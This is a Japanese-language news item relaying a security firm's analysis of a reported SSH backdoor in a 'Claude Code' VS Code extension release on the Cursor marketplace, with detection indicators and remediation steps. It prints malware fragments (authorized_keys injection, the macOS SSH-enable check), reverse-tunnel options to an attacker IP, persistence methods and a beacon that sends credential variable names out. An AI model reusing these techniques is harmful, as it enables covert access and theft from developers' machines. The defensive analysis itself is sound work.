
2026/10/30 16:09
Cursor マーケットの VS コード拡張機能「Claude Code」に後門が存在する
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
公式 Cursor マーケットPLACE で配布されている公式 Claude Code 拡張機能(バージョン 2.1.313)に重大な裏門(バックドア)が発見された。攻撃者は Windows、Linux、macOS のいずれの環境でもユーザーのマシンに対して永続的なアクセス権を取得できる。ベンダーが管理する配布チャネルに関する標準的な仮説とは異なり、この悪意のあるアップデートは SSH キーを埋め込み、逆回線トンネルを確立することで、インストール時に直接ユーザーの関与を必要とせずにもれなくシェルへの完全なアクセス権限を取得する。この脅威は macOS のセットアップスクリプトに含まれる特定の脆弱性を利用し、セキュリティチェックを迂回すると同時に、機微なシステムデータを攻撃者管理のサーバーにビーコン送信している。Cursor は以来、その登録から該当の侵害されたリリースを削除した。バージョン 2.1.313 を使用している組織は、直ちに環境を検査し、拡張機能をアンインストールし、埋め込まれた認証情報や実行中のトンネルプロセスを能動的に探してセキュリティを回復する必要がある。この事件は、堅牢なサプライチェーン監査の緊急性を示しており、正規の開発ツールが企業ネットワーク内におけるデータ窃取および lateral movement(横方向移動)の予期せぬベクトルとして機能し、ベンダー配布ソフトウェアへの信頼を損なう可能性があることを強調している。
本文
【重大】VS Code 拡張機能「Claude Code」に持続的な SSH バックドア埋め込みの脆弱性確認
Phorion 社が調査したところ、Cursor マーケットプレイスに掲載されている公式拡張機能「Claude Code for VS Code」(バージョン 2.1.313)に、macOS、Linux、Windows の全プラットフォームに及ぶ持続的な SSH バックドアが埋め込まれていることが確認されました。
組織の皆様には直ちに、以下に対応してください。
- 環境審査: 導入状況を全環境で即座に検証し、検知された場合はインシデントレスポンスを実施ください。
- 回避措置: Cursor 社は該当リリースをマーケットプレイスから削除、および NPM と VS Code リポジトリからバージョン 2.1.313 を除外しています。
脅威の概要と影響範囲
このマルウェアはmacOS、Linux、Windowsすべてにおいてセットアップおよび持続性確保ロジックを含んでいます。本レポートでは特に macOS の不具合に焦点を当てて解説します。
- 権限レベル: 拡張機能は IDE 権限および実行ユーザーの権限で動作するため、マルウェア化された拡張機能がロードされると、ローカルのファイルやソースコード、開発者ツールの即時アクセスが可能になります。
- 目的: 長期にわたる対話型アクセス(C2)の実行と、ホストのリコナイス(偵察)データの操作者に送信です。
感染連鎖:拡張機能の乗っ取り
マルウェアは、ミニファイされた「Claude Code」バンドルへ注入された即時実行関数式 (IIFE) によって開始されます。
- 標準的ではない動作: ユーザーが意図せずして拡張機能と相互作用するだけでペイロードが実行されます。
- 読み込み順序:
,child_process
などの Node.js モジュールを読み込んだ直後、通常のアクティブ化前にマレイウェアコードが実行されることがあります。fs
ステージ 1:SSH アクセスの準備
攻撃者は被害者のマシンにログインするための SSH キーを埋め込みます。
- キーの追加:
に攻撃者管理下の Ed25519 パブリックキーを追加し、パーミッション(ディレクトリ: 0700、ファイル: 0600)を設定します。~/.ssh/authorized_keys - フィクションの検知ロジック: スクリプトは、キーに「
」というコメントが存在するかを確認しています。svc-telemetry- 脆弱性点: 攻撃者は単なるコメント文字列を検索対象にしており、厳密なパブリックキーのフィンガープリントチェックを行っていないため、意図せず既存のキーと重複する可能性があります。
// コード例:authorized_keys の既存コンテンツ (cur) と埋め込みキー (PUB) を比較 if (cur.indexOf("svc-telemetry") < 0) { fs.appendFileSync(ak, PUB + "\n"); d.sshKey = "added" } else { d.sshKey = "present" }
重要: このコメント文字列のみで判断しているため、厳密なキー検証がなされず、セキュリティリスクが高まっています。
macOS SSH ロジックの不具合(脆弱性の根拠)
このマルウェアは、macOS において「SSH がすでに有効」であると誤認識する致命的な不具合を持っています。
- 正常な動作:
を実行し、出力がsystemsetup -getremotelogin
の場合のみOff
で SSH を有効化します。sudo -n systemsetup -setremotelogin on - 実際の macOS 挙動: 管理者権限なしでこのコマンドを実行すると、エラーメッセージと共にステータスコード 0(成功扱い)で終了します。
You need administrator access to run this tool... exiting!
- 不具合の発生プロセス:
- コマンド実行でエラー出力が発生し、
は/Off/i.test(rl)
と評価されます。false - スクリプトは「SSH はすでにオン(または確認不能)」と判断し、有効化処理をスキップします。
- 結果: SSH を有効にしていない Mac でも、バックドアのキー埋め込みやトンネル準備は完了してしまいます。
- コマンド実行でエラー出力が発生し、
// バグがあるコード構造 else if (PLAT === "darwin") { var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000); // エラー出力を含み、Off と認識されない d.remoteLogin = rl; if (/Off/i.test(rl)) { // ここは常に false になるため処理がスキップされる det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1"); d.remoteLoginOn = "tried" } }
ステージ 2:リバース SSH トンネルの設定
攻撃者は被害者のマシンから外部サーバーへ接続するトンネルを確立します。
- 接続先:
134.209.82[.]225 - 認証用秘密キー:
とは別の、埋め込まれた Ed25519 鍵(コメント:~/.ssh/authorized_keys
)を使用。svc-telemetry-tun
トンネルの仕組み: 外部サーバーに動的ポートを割り当てさせ、そのトラフィックを被害者のローカル SSH デーモン (
localhost:22) へ転送します。これにより、攻撃者はリモートサーバー上のポート番号を経由せず、直接被害者マシンの SSH ポート 22 にアクセスできます。
[操作者] <--SSH--> [外部サーバーの割り当てポート] <--トンネル---> [被害者マシンの localhost:22] | | (POST /beacon) (植え付けられたキー使用でログイン) | | [攻撃者の C2 サーバー] [SSH デーモン]
- 接続オプション:
- ホストキーチェック無効化。
無視。Known_hosts
,BatchMode
有効。IdentitiesOnly
オン。ExitOnForwardFailure
- 持続性: ユーザーが IDE を閉じてもトンネルは維持されるため、完全な対話型シェルとファイル転送が可能になります。
ステージ 3:アクセスの持続性確保
システム再起動後もバックドアを生存させるため、プラットフォーム固有のメカニズムを設定します。
| プラットフォーム | アーティファクト・ファイル名 | 持続性メカニズム |
|---|---|---|
| Linux | , | シャルループスクリプト作成。 エントリを追加(ユーザー crontab)。※既存の cron ジョブを削除するバグあり。 |
| macOS | | ユーザー LaunchAgent を偽装作成。 を実行。※ルート権限なし、ユーザーコンテキストで動作。 |
| Windows | , (タスク) | システム起動時スケジューリングタスク作成。 失敗時は にフォールバック。 |
ステージ 4:ホストリコナイス(偵察)
マルウェアは収集したデータを攻撃者のサーバーへビーコンとして送信します。
- 収集情報: ホスト名、OS、Git メール設定、ネットワークステータス、環境変数(KEY, TOKEN, SECRET, PASS, AWS, GCP など)。
- 環境変数の抽出: 機密値そのものを流出させるのではなく、危険な認証情報の名称のみをリスト化して送信します。
- 通信先:
(外部 C2 サーバー)134.209.82[.]225:8099
(ローカルテスト用ポート)127.0.0.1:8099
検出の機会とインジケーター
組織のセキュリティシステムが検知すべき重要なサインです。
主な検出ポイント
- SSH キーおよび構成の変更:
が Node.js の~/.ssh/authorized_keys
で直接書き込まれること。fs.appendFileSync- IDE ヘルパープロセス (
,Code Helper
など) が SSH ファイルを触れる振る舞い。Cursor Helper
- ユーザー LaunchAgent の異常な作成:
- 非 Apple プロセスが
プリストファイル(com.apple.*
)を作成すること。~/Library/LaunchAgents/...
を実行するよう設定された LaunchAgent の存在。/bin/sh ~/.config/.smt
- 非 Apple プロセスが
- SSH トンネルおよび通信:
- リモートポートフォワーディング (
) による-R *:0:localhost:22
プロセスの起動。ssh - IP アドレス
へのアウトバウンド SSH 接続。134.209.82[.]225 - 同 IP への HTTP POST (
) リクエスト。/beacon
- リモートポートフォワーディング (
インジケーター (IoC)
| カテゴリ | 詳細 | 値・特徴 |
|---|---|---|
| ファイルハッシュ | バックドア化されたバンドル (SHA-256) | |
| 公開キー | ユーザーログイン用 (Ed25519) | コメント:svc-telemetry |
| 公開キー | トンネル認証用 (Ed25519) | コメント:svc-telemetry-tun |
| ネットワーク | 攻撃者 C2 サーバー (SSH) | |
| ネットワーク | ビーコンエンドポイント (HTTP POST) | |
| ホスト情報 | macOS 拡張機能ディレクトリ | |
| ホスト情報 | 隠蔽スクリプト (macOS/Linux) | , |
| ホスト情報 | 偽装 plist ファイル (macOS) | |
修復措置
影響を受けたマシンの場合、拡張機能のアンインストールだけでは不十分です。以下のすべてのステップを完了させてください。
- トンネルプロセスの停止:
リトライループを破棄し、外部サーバー (/bin/sh
) に接続中の134.209.82[.]225
やssh
プロセスを終了します。autossh
- 持続性の除去:
- macOS:
でアンロードし、launchctl unload
を削除。スクリプトファイル (~/Library/LaunchAgents/com.apple.sysmond.plist
) も削除。~/.config/.smt - Linux:
cron エントリを削除。関連スクリプトとキーファイルを削除。@reboot - Windows: システムタスク「SysMon」を削除し、スタートアップフォルダ内の
を削除。sysmon.cmd
- macOS:
- SSH キーの片付け:
からコメント「svc-telemetry」を含む行を除去します。~/.ssh/authorized_keys
- 認証情報のローテーション:
- SSH が有効化されていた場合、該当ユーザーアカウントに関連するすべての認証情報(環境変数内の
など)を更新・再発行してください。KEY|TOKEN|SECRET|PASS
- SSH が有効化されていた場合、該当ユーザーアカウントに関連するすべての認証情報(環境変数内の
注:macOS では、前述の不具合により SSH が実際には有効化されていない場合がありますが、バックドア自体は設定済みの状態であるため、ローテーションが必須です。